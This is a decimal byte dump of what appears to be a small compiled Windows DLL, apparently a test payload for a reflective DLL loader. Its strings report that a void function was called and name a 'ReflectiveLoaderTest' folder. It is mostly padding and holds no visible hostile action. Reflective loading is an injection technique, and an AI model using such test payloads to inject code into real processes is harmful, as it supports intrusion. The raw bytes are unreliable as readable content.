204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,185,108,35,2,16,232,111,54,255,255,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,202,1,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,112,130,1,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,242,155,216,86,0,0,0,0,2,0,0,0,125,0,0,0,200,7,2,0,200,247,0,0,68,108,108,32,86,111,105,100,32,102,117,110,99,116,105,111,110,32,115,117,99,99,101,115,115,102,117,108,108,121,32,99,97,108,108,101,100,46,10,0,0,0,0,0,0,0,0,0,99,58,92,82,101,102,108,101,99,116,105,118,101,76,111,97,100,101,114,84,101,115,116,92,68,108,108,86,111,105,100,70,117,110,99,116,105,111,110,46,116,120,116,0,0,0,0,0,0,0,0,0,99,58,92,82,101,102,108,101,99,116,105,118,101,76,111,97,100,101,114,84,101,115,116,0,0,0,0,0,96,9,2,16,95,16,1,16,0,0,0,0,0,0,0,0,96,0,0,0,0,0,0,0,0,0,0,0,116,11,2,16,66,20,1,16,175,21,1,16,236,20,1,16,53,18,1,16,130,21,1,16,20,16,1,16,152,19,1,16,100,16,1,16,72,19,1,16,241,20,1,16,130,16,1,16,97,19,1,16,228,18,1,16,248,18,1,16,10,21,1,16,0,0,0,0,0,0,0,0,0,0,0,0,34,0,111,0,117,0,116,0,32,0,111,0,102,0,32,0,114,0,97,0,110,0,103,0,101,0,34,0,0,0,0,0,0,0,0,0,115,0,116,0,100,0,58,0,58,0,95,0,83,0,116,0,114,0,105,0,110,0,103,0,95,0,99,0,111,0,110,0,115,0,116,0,95,0,105,0,116,0,101,0,114,0,97,0,116,0,111,0,114,0,60,0,99,0,104,0,97,0,114,0,44,0,115,0,116,0,114,0,117,0,99,0,116,0,32,0,115,0,116,0,100,0,58,0,58,0,99,0,104,0,97,0,114,0,95,0,116,0,114,0,97,0,105,0,116,0,115,0,60,0,99,0,104,0,97,0,114,0,62,0,44,0,99,0,108,0,97,0,115,0,115,0,32,0,115,0,116,0,100,0,58,0,58,0,97,0,108,0,108,0,111,0,99,0,97,0,116,0,111,0,114,0,60,0,99,0,104,0,97,0,114,0,62,0,32,0,62,0,58,0,58,0,111,0,112,0,101,0,114,0,97,0,116,0,111,0,114,0,32,0,42,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,34,0,83,0,116,0,97,0,110,0,100,0,97,0,114,0,100,0,32,0,67,0,43,0,43,0,32,0,76,0,105,0,98,0,114,0,97,0,114,0,105,0,101,0,115,0,32,0,79,0,117,0,116,0,32,0,111,0,102,0,32,0,82,0,97,0,110,0,103,0,101,0,34,0,32,0,38,0,38,0,32,0,48,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,116,97,110,100,97,114,100,32,67,43,43,32,76,105,98,114,97,114,105,101,115,32,79,117,116,32,111,102,32,82,97,110,103,101,0,0,0,0,0,0,0,0,0,0,0,0,0,115,0,116,0,114,0,105,0,110,0,103,0,32,0,105,0,116,0,101,0,114,0,97,0,116,0,111,0,114,0,32,0,110,0,111,0,116,0,32,0,100,0,101,0,114,0,101,0,102,0,101,0,114,0,101,0,110,0,99,0,97,0,98,0,108,0,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,99,0,58,0,92,0,112,0,114,0,111,0,103,0,114,0,97,0,109,0,32,0,102,0,105,0,108,0,101,0,115,0,32,0,40,0,120,0,56,0,54,0,41,0,92,0,109,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,118,0,105,0,115,0,117,0,97,0,108,0,32,0,115,0,116,0,117,0,100,0,105,0,111,0,32,0,49,0,48,0,46,0,48,0,92,0,118,0,99,0,92,0,105,0,110,0,99,0,108,0,117,0,100,0,101,0,92,0,120,0,115,0,116,0,114,0,105,0,110,0,103,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,98,97,100,32,99,97,115,116,0,0,0,0,73,0,84,0,69,0,82,0,65,0,84,0,79,0,82,0,32,0,76,0,73,0,83,0,84,0,32,0,67,0,79,0,82,0,82,0,85,0,80,0,84,0,69,0,68,0,33,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,99,0,58,